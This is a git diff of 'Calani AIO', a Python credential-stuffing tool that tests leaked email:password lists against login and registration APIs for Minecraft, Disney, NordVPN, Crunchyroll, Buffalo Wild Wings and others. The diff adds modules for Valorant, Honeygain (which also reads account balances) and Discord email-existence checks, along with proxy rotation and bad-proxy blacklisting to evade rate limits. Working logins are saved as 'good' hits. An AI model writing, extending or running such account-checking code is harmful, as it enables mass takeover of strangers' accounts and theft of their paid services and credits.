diff --git a/README.md b/README.md index 11059b1..7a8ea59 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,7 @@ Download the exe version [here](https://github.com/Mickey758/Calani-AIO/releases - [ ] Save Remaining Lines - [x] Multichecking - [x] In-app Settings +- [x] Proxy Management ## Modules 1. Minecraft @@ -25,6 +26,9 @@ Download the exe version [here](https://github.com/Mickey758/Calani-AIO/releases 8. SpotifyVM 9. Buffalo Wild Wings 10. Pornhub +11. Valorant +12. HoneyGain +13. DiscordVM # Other Info Development of this this project will continue. I will be updating the binary and source regularly. Bug reports will be nice to have. If you find any post them [here](https://github.com/Mickey758/Calani-AIO/issues/new). Thanks for checking this out. diff --git a/main.py b/main.py index df7ed5c..eb4e3ab 100755 --- a/main.py +++ b/main.py @@ -6,8 +6,6 @@ from console.utils import set_title from modules.updater import check as check_updates -default = {"proxy_type":"http","proxy_timeout":5,"thread":200,"retries":1,"print_mode":"cui"} - red = Fore.RED green = Fore.GREEN cyan = Fore.CYAN @@ -24,6 +22,7 @@ class checker: saving = False checking = False proxies = [] + bad_proxies = [] accounts = [] accounts_down = [] time = "" @@ -46,6 +45,9 @@ class checker: from modules.checkers import spotifyvm from modules.checkers import bww from modules.checkers import pornhub +from modules.checkers import valorant +from modules.checkers import honeygain +from modules.checkers import discordvm modules_list = { "nordvpn":nordvpn, @@ -57,7 +59,10 @@ class checker: "crunchyroll":crunchyroll, "spotifyvm":spotifyvm, "bww":bww, - "pornhub":pornhub + "pornhub":pornhub, + "valorant":valorant, + "honeygain":honeygain, + "discordvm":discordvm } load_config() @@ -97,6 +102,9 @@ def modules(): [{cyan}8{reset}] SpotifyVM [{cyan}9{reset}] Buffalo Wild Wings [{cyan}10{reset}] Pornhub + [{cyan}11{reset}] Valorant + [{cyan}12{reset}] Honeygain + [{cyan}13{reset}] DiscordVM [{cyan}>{reset}] Selected Modules: {str([x.title() for x in selected_modules]).replace("'","").replace("', '",", ")} [{cyan}A{reset}] Add All Modules @@ -114,6 +122,9 @@ def modules(): elif option == "8": selected_modules.append("spotifyvm") elif option == "9": selected_modules.append("bww") elif option == "10": selected_modules.append("pornhub") + elif option == "11": selected_modules.append("valorant") + elif option == "12": selected_modules.append("honeygain") + elif option == "13": selected_modules.append("discordvm") elif option == "s": if selected_modules != []: starter(selected_modules) @@ -151,6 +162,15 @@ def settings(): def starter(modules_lst:list): + checker.bad = 0 + checker.cpm = 0 + checker.good = 0 + checker.custom = 0 + checker.errors = 0 + checker.proxies.clear() + checker.accounts.clear() + checker.accounts_down.clear() + checker.bad_proxies.clear() set_title("Calani AIO | Getting Ready | MickeyYe#0003") def foo(account:str): try: @@ -179,9 +199,10 @@ def foo(account:str): checker.accounts = accounts checker.accounts_down = accounts duplicates = len(before_accounts)-len(accounts) + print(f" [{cyan}Imported {len(before_accounts)} Accounts{reset}]") if duplicates != 0: print(f" [{cyan}Removed {duplicates} Duplicates{reset}]") - sleep(1) + sleep(1) print("\n") @@ -198,9 +219,10 @@ def foo(account:str): after_proxies = list(set(before_proxies)) checker.proxies = after_proxies duplicates = len(before_proxies)-len(after_proxies) + print(f" [{cyan}Imported {len(before_proxies)} Proxies{reset}]") if duplicates != 0: print(f" [{cyan}Removed {duplicates} Duplicates{reset}]") - sleep(1) + sleep(1) checker.checking = True checker.time = get_time() @@ -237,4 +259,4 @@ def foo(account:str): print(f" [{red}>{reset}] Your version is outdated!") print(f" [{cyan}>{reset}] Find the latest version of Calani AIO here: https://github.com/Mickey758/Calani-AIO/releases") input(f" [{cyan}>{reset}] Press enter to ignore") - home() + home() \ No newline at end of file diff --git a/modules/checkers/bonk_io.py b/modules/checkers/bonk_io.py index 5386718..0d05425 100644 --- a/modules/checkers/bonk_io.py +++ b/modules/checkers/bonk_io.py @@ -1,5 +1,5 @@ from __main__ import checker -from modules.functions import set_proxy,log,save +from modules.functions import set_proxy,log,save,bad_proxy from requests import post from math import sqrt @@ -7,22 +7,20 @@ def check(email:str,password:str): retries = 0 if "@" in email: - email = email.split("@")[0] + username = email.split("@")[0] while retries != checker.retries: proxy = set_proxy() - headers = { - "Content-Type": "application/x-www-form-urlencoded" - } - data = f"username={email}&password={password}" + data = f"username={username}&password={password}" try: - a = post("https://bonk2.io/scripts/login_legacy.php",data=data,headers=headers,proxies=set_proxy(proxy),timeout=checker.timeout).json() + a = post("https://bonk2.io/scripts/login_legacy.php",data=data,proxies=set_proxy(proxy),timeout=checker.timeout).json() if a["r"] == "fail": - if a.get("e"): - if a["e"] == "ratelimited": - raise - else: + if a.get("e") == "ratelimited": + raise + elif a.get("e") == "password" or a.get("e") == "username_fail": retries += 1 + else: + print(a) elif "xp" in a: xp = a["xp"] friends = len(a["friends"]) @@ -38,15 +36,16 @@ def check(email:str,password:str): else: level = 0 if not checker.cui: - log("good",email+":"+password,"Bonk.io") - save("BonkIO","good",checker.time,email+":"+password+f" | Level: {level} | Friends: {friends} | Xp: {xp} | UserID: {user_id}") + log("good",username+":"+password,"Bonk.io") + save("BonkIO","good",checker.time,username+":"+password+f" | Level: {level} | Friends: {friends} | Xp: {xp} | UserID: {user_id} | Email: {email}") checker.good += 1 checker.cpm += 1 return except: + bad_proxy(proxy) checker.errors += 1 if not checker.cui: - log("bad",email+":"+"password","Bonk.io") + log("bad",username+":"+password,"Bonk.io") checker.bad += 1 checker.cpm += 1 return diff --git a/modules/checkers/bww.py b/modules/checkers/bww.py index 7b83ee0..6ad2590 100644 --- a/modules/checkers/bww.py +++ b/modules/checkers/bww.py @@ -1,11 +1,10 @@ from __main__ import checker from requests import post -from modules.functions import log,save,set_proxy +from modules.functions import log,save,set_proxy,bad_proxy def check(email:str,password:str): retries = 0 while retries != checker.retries: - proxy = set_proxy() headers = { "Origin": "https://www.buffalowildwings.com" , "Referer": "https://www.buffalowildwings.com/en/account/log-in/" , @@ -21,7 +20,7 @@ def check(email:str,password:str): retries += 1 elif r.status_code == 200: if not checker.cui: - log("good",email+":"+password,"Buffalo Wild Wings") + log("good",email+":"+password,"BWW") save("Buffalo Wild Wings","good",checker.time,email+":"+password) checker.good += 1 checker.cpm += 1 @@ -31,7 +30,7 @@ def check(email:str,password:str): except: checker.retries += 1 if not checker.cui: - log("bad",email+":"+password,"Buffalo Wild Wings") + log("bad",email+":"+password,"BWW") checker.bad += 1 checker.cpm += 1 return \ No newline at end of file diff --git a/modules/checkers/crunchyroll.py b/modules/checkers/crunchyroll.py index d256c99..73433c9 100644 --- a/modules/checkers/crunchyroll.py +++ b/modules/checkers/crunchyroll.py @@ -1,6 +1,6 @@ from __main__ import checker from requests import post -from modules.functions import log,save,set_proxy +from modules.functions import log,save,set_proxy,bad_proxy def check(email:str,password:str): retries = 0 @@ -38,6 +38,7 @@ def check(email:str,password:str): else: raise except: + bad_proxy(proxy) checker.errors += 1 if not checker.cui: log("bad",email+":"+password,"Crunchyroll") diff --git a/modules/checkers/discordvm.py b/modules/checkers/discordvm.py new file mode 100644 index 0000000..13a1e36 --- /dev/null +++ b/modules/checkers/discordvm.py @@ -0,0 +1,33 @@ +from __main__ import checker +from random import choice, random +from requests import post +from modules.functions import bad_proxy, log,save,set_proxy +from string import ascii_letters as l, digits as d +from random import choices + +def check(email:str,password:str): + retries = 0 + while retries != checker.retries: + proxy = set_proxy() + payload = {"fingerprint":"793580565130641419.LGQ5IVlIkNTEQfpHbXcQLA2ABrM","email":email,"username":"".join(choices(l+d,k=6)),"password":"rth21e98!fmPP","invite":None,"consent":True,"date_of_birth":"1993-05-03","gift_code_sku_id":None,"captcha_key":None} + try: + a = post("https://discord.com/api/v8/auth/register",json=payload,proxies=set_proxy(proxy),timeout=checker.timeout).text + if "EMAIL_TYPE_INVALID_EMA" in a or "token" in a or "captcha-required" in a: + retries += 1 + elif "EMAIL_ALREADY_REGISTERED" in a: + if not checker.cui: + log("good",email+":"+password,"DiscordVM") + save("DiscordVM","good",checker.time,email+":"+password) + checker.good += 1 + checker.cpm += 1 + return + else: + raise + except: + bad_proxy(proxy) + checker.errors += 1 + if not checker.cui: + log("bad",email+":"+password,"DiscordVM") + checker.bad += 1 + checker.cpm += 1 + return \ No newline at end of file diff --git a/modules/checkers/disney.py b/modules/checkers/disney.py index 8da5198..98c2631 100644 --- a/modules/checkers/disney.py +++ b/modules/checkers/disney.py @@ -1,5 +1,5 @@ from __main__ import checker -from modules.functions import set_proxy,log,save +from modules.functions import set_proxy,log,save,bad_proxy from requests import get,post from random import choices from string import ascii_letters,digits @@ -114,9 +114,10 @@ def check(email:str,password:str): else: raise except: + bad_proxy(proxy) checker.errors += 1 if not checker.cui: - log("bad",email+":"+"password","Disney") + log("bad",email+":"+password,"Disney") checker.bad += 1 checker.cpm += 1 return \ No newline at end of file diff --git a/modules/checkers/duolingo.py b/modules/checkers/duolingo.py index 1c7a705..5613c42 100644 --- a/modules/checkers/duolingo.py +++ b/modules/checkers/duolingo.py @@ -1,5 +1,5 @@ from __main__ import checker -from modules.functions import set_proxy,log,save +from modules.functions import set_proxy,log,save,bad_proxy from requests import post from json import dumps @@ -27,6 +27,7 @@ def check(email:str,password:str): else: raise except: + bad_proxy(proxy) checker.errors += 1 if not checker.cui: log("bad",email+":"+password,"Duolingo") diff --git a/modules/checkers/gfuel.py b/modules/checkers/gfuel.py index 04c480c..1426c2e 100644 --- a/modules/checkers/gfuel.py +++ b/modules/checkers/gfuel.py @@ -1,5 +1,5 @@ from __main__ import checker -from modules.functions import set_proxy, log, save +from modules.functions import set_proxy, log, save, bad_proxy from requests import get,post from base64 import b64decode @@ -54,6 +54,7 @@ def check(email:str,password:str): else: raise except: + bad_proxy(proxy) checker.errors += 1 if not checker.cui: log("bad".email+":"+password,"Gfuel") diff --git a/modules/checkers/honeygain.py b/modules/checkers/honeygain.py new file mode 100644 index 0000000..93fb879 --- /dev/null +++ b/modules/checkers/honeygain.py @@ -0,0 +1,37 @@ +from __main__ import checker +from requests import post,get +from modules.functions import bad_proxy, log,save,set_proxy + + +def check(email:str,password:str): + retries = 0 + while retries != checker.retries: + proxy = set_proxy() + payload = {"email":email,"password":password} + header = {"Authorization":"Bearer "} + try: + a = post("https://dashboard.honeygain.com/api/v1/users/tokens",json=payload,proxies=set_proxy(proxy),timeout=checker.timeout) + if "Bad credentials." in a.text: + retries += 1 + elif "access_token" in a.text: + header["Authorization"] = "Bearer "+a.json()["data"]["access_token"] + balance = get("https://dashboard.honeygain.com/api/v1/users/balances",headers=header,proxies=set_proxy(proxy),timeout=checker.timeout).json()["data"]["payout"]["credits"] + if not checker.cui: + log("good",email+":"+password,"Honeygain") + if int(balance) > 0: + save("Honeygain","good",checker.time,email+":"+password+f" | Credits: {balance}") + checker.good += 1 + else: + save("Honeygain","custom",checker.time,email+":"+password+f" | Credits: {balance}") + checker.custom += 1 + checker.cpm += 1 + return + else: + raise + except: + bad_proxy(proxy) + checker.errors += 1 + if not checker.cui: log("bad",email+":"+password,"Honeygain") + checker.bad += 1 + checker.cpm += 1 + return \ No newline at end of file diff --git a/modules/checkers/minecraft.py b/modules/checkers/minecraft.py index 32658a0..be99d03 100644 --- a/modules/checkers/minecraft.py +++ b/modules/checkers/minecraft.py @@ -1,5 +1,5 @@ from __main__ import checker -from modules.functions import set_proxy,log,save +from modules.functions import set_proxy,log,save, bad_proxy from requests import get,post from json import dumps @@ -42,9 +42,10 @@ def check(email:str,password:str): else: raise except: + bad_proxy(proxy) checker.errors += 1 if not checker.cui: - log("bad",email+":"+"password","Minecraft") + log("bad",email+":"+password,"Minecraft") checker.bad += 1 checker.cpm += 1 return \ No newline at end of file diff --git a/modules/checkers/nordvpn.py b/modules/checkers/nordvpn.py index b43db83..d16fc16 100644 --- a/modules/checkers/nordvpn.py +++ b/modules/checkers/nordvpn.py @@ -1,6 +1,6 @@ from __main__ import checker from requests import get,post -from modules.functions import set_proxy, log, save +from modules.functions import set_proxy, log, save, bad_proxy from base64 import b64encode from datetime import datetime @@ -60,6 +60,7 @@ def check(email:str,password:str): else: raise except: + bad_proxy(proxy) checker.errors += 1 if not checker.cui: log("bad",email+":"+password,"NordVPN") diff --git a/modules/checkers/pornhub.py b/modules/checkers/pornhub.py index eddc97b..c5f7dac 100644 --- a/modules/checkers/pornhub.py +++ b/modules/checkers/pornhub.py @@ -1,5 +1,5 @@ from __main__ import checker -from modules.functions import set_proxy, log, save +from modules.functions import set_proxy, log, save, bad_proxy from requests import Session def check(email:str,password:str): @@ -46,6 +46,7 @@ def check(email:str,password:str): else: raise except: + bad_proxy(proxy) checker.errors += 1 if not checker.cui: log("bad",email+":"+password,"Pornhub") diff --git a/modules/checkers/spotifyvm.py b/modules/checkers/spotifyvm.py index 849383a..f5de78d 100644 --- a/modules/checkers/spotifyvm.py +++ b/modules/checkers/spotifyvm.py @@ -1,6 +1,6 @@ from __main__ import checker from requests import get -from modules.functions import log,save,set_proxy +from modules.functions import bad_proxy, log,save,set_proxy def check(email:str,password:str): retries = 0 @@ -10,7 +10,7 @@ def check(email:str,password:str): r = get(f"https://spclient.wg.spotify.com/signup/public/v1/account?validate=1&email={email}",proxies=set_proxy(proxy),timeout=checker.timeout).text if "That email is already registered to an account." in r: if not checker.cui: - log("good",email+":"+password,"SpotifyVM") + log("good",email,"SpotifyVM") save("SpotifyVM","good",checker.time,email+":"+password) checker.good += 1 checker.cpm += 1 @@ -20,9 +20,10 @@ def check(email:str,password:str): else: raise except: + bad_proxy(proxy) checker.errors += 1 if not checker.cui: - log("bad",email+":"+password,"SpotifyVM") + log("bad",email,"SpotifyVM") checker.bad += 1 checker.cpm += 1 return \ No newline at end of file diff --git a/modules/checkers/valorant.py b/modules/checkers/valorant.py new file mode 100644 index 0000000..26a9162 --- /dev/null +++ b/modules/checkers/valorant.py @@ -0,0 +1,42 @@ +from __main__ import checker,lock +from requests import Session +from modules.functions import bad_proxy, log,save,set_proxy + +def check(email:str,password:str): + if "@" in email: + username = email.split("@")[0] + retries = 0 + while retries != checker.retries: + proxy = set_proxy() + headers = { + "Host": "auth.riotgames.com" , + "user-agent": "RiotClient/30.0.1.3715678.3712489 rso-auth (Windows;10;;Professional, x64)" , + "Cache-Control": "no-cache" , + "Accept": "application/json" , + "Accept-Encoding": "gzip, deflate" + } + data_1 = {"acr_values":"urn:riot:bronze","claims":"","client_id":"riot-client","nonce":"ih0ckcv8kNAghtFLBfyAwQ","redirect_uri":"http://localhost/redirect","response_type":"token id_token","scope":"openid link ban lol_region"} + data_2 = {"language":"en_US","password":password,"region":None,"remember":False,"type":"auth","username":username} + try: + with Session() as s: + s.post("https://auth.riotgames.com/api/v1/authorization",headers=headers,json=data_1,proxies=set_proxy(proxy),timeout=checker.timeout) + response = s.put("https://auth.riotgames.com/api/v1/authorization",headers=headers,json=data_2,proxies=set_proxy(proxy),timeout=checker.timeout).text + if "auth_failure" in response: + retries += 1 + elif "access_token" in response: + if not checker.cui: + log("good",username+":"+password,"Valorant") + save("Valorant","good",checker.time,username+":"+password+f" | Email: {email}") + checker.good += 1 + checker.cpm += 1 + return + else: + raise + except: + bad_proxy(proxy) + checker.errors += 1 + if not checker.cui: + log("bad",username+":"+password,"Valorant") + checker.bad += 1 + checker.cpm += 1 + return \ No newline at end of file diff --git a/modules/config.py b/modules/config.py index e0513b0..f04a571 100644 --- a/modules/config.py +++ b/modules/config.py @@ -4,7 +4,9 @@ from os import makedirs, listdir from json import load, dump init(autoreset=True) + default = {"proxy_type":"http","proxy_timeout":5,"threads":200,"retries":1,"print_mode":"cui"} + cyan = Fore.CYAN reset = Fore.RESET diff --git a/modules/functions.py b/modules/functions.py index 9d46a0d..15f148c 100644 --- a/modules/functions.py +++ b/modules/functions.py @@ -76,11 +76,11 @@ def log(type:str,account:str,service:str): """ with lock: if type == "custom": - print(f" [{yellow}Custom{reset}] {account} | {service}") + print(f" [{yellow}Custom{reset}] {account} ~ {service}") if type == "good": - print(f" [{green}Good{reset}] {account} | {service}") + print(f" [{green}Good{reset}] {account} ~ {service}") if type == "bad": - print(f" [{red}Bad{reset}] {account} | {service}") + print(f" [{red}Bad{reset}] {account} ~ {service}") def set_proxy(proxy:str=False): """ @@ -95,14 +95,21 @@ def set_proxy(proxy:str=False): proxy = spl[2]+":"+spl[3]+"@"+spl[0]+":"+spl[1] except: pass - if checker.proxy_type == "http": - return {"http":f"http://{proxy}","https":f"http://{proxy}"} - elif checker.proxy_type == "socks4": - return {"http":f"socks4://{proxy}","https":f"socks4://{proxy}"} - elif checker.proxy_type == "socks5": - return {"htt":f"socks5://{proxy}","https":f"socks5://{proxy}"} - else: - return choice(checker.proxies) + if checker.proxy_type == "http": return {"http":f"http://{proxy}","https":f"https://{proxy}"} + elif checker.proxy_type == "socks4": return {"http":f"socks4://{proxy}","https":f"socks4://{proxy}"} + elif checker.proxy_type == "socks5": return {"htt":f"socks5://{proxy}","https":f"socks5://{proxy}"} + + else: + while 1: + if len(checker.bad_proxies) == len(checker.proxies): + checker.bad_proxies.clear() + proxy = choice(checker.proxies) + if proxy not in checker.bad_proxies: + return proxy + +def bad_proxy(proxy): + if proxy not in checker.bad_proxies: + checker.bad_proxies.append(proxy) def get_file(title:str,type:str): """ @@ -125,6 +132,7 @@ def cui(modules:int): clear() ascii() print("\n\n") + percent = round(((checker.good+checker.bad+checker.custom)/(len(checker.accounts)*modules))*100,2) if checker.good+checker.bad+checker.custom > 0 else 0.0 print(f""" [{dark_cyan}Loaded Modules{reset}] {modules} @@ -134,16 +142,14 @@ def cui(modules:int): [{dark_yellow}Errors{bright}{reset}] {checker.errors} [{dark_cyan}CPM{bright}{reset}] {checker.cpm} - [{cyan}{bright}Progress{dark_cyan}{reset}] {checker.good+checker.bad+checker.custom}/{len(checker.accounts)*modules} - - """) + [{cyan}{bright}Progress{dark_cyan}{reset}] {checker.good+checker.bad+checker.custom}/{len(checker.accounts)*modules} = {percent}%""") sleep(1) def title(modules:int): """Sets the title while checking""" while checker.checking: try: - checker.title = f"Calani AIO | Good: {checker.good} ~ Custom: {checker.custom} ~ Bad: {checker.bad} ~ Errors: {checker.errors} ~ CPM: {checker.cpm} | Progress: {round(((checker.good+checker.bad+checker.custom)/(len(checker.accounts)*modules))*100,2)}%" + checker.title = f"Calani AIO | Good: {checker.good} ~ Custom: {checker.custom} ~ Bad: {checker.bad} ~ Errors: {checker.errors} ~ CPM: {checker.cpm} ~ Progress: {checker.good+checker.bad+checker.custom}/{len(checker.accounts)*modules} = {round(((checker.good+checker.bad+checker.custom)/(len(checker.accounts)*modules))*100,2)}%" set_title(checker.title) sleep(0.1) except: diff --git a/modules/updater.py b/modules/updater.py index 6260e8c..d9223ed 100644 --- a/modules/updater.py +++ b/modules/updater.py @@ -12,7 +12,7 @@ def check(): print(f" [{cyan}>{reset}] Checking for updates") try: v = get("https://raw.githubusercontent.com/Mickey758/Calani-AIO/master/version").text.rstrip() - if v != "0.1.7-alpha": + if v != "0.1.8-alpha": return True else: return False diff --git a/pack.sh b/pack.sh new file mode 100644 index 0000000..0397990 --- /dev/null +++ b/pack.sh @@ -0,0 +1,2 @@ +export PATH="$HOME/.local/bin:$PATH" +pyinstaller --clean --distpath EXE --icon icon.ico --onefile -p modules main.py \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index 62c5f3c..35662c8 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1,4 @@ colorama==0.4.3 console==0.9907 requests==2.22.0 +pysocks \ No newline at end of file diff --git a/version b/version index 75d08c4..38b5c4e 100644 --- a/version +++ b/version @@ -1 +1 @@ -0.1.7-alpha +0.1.8-alpha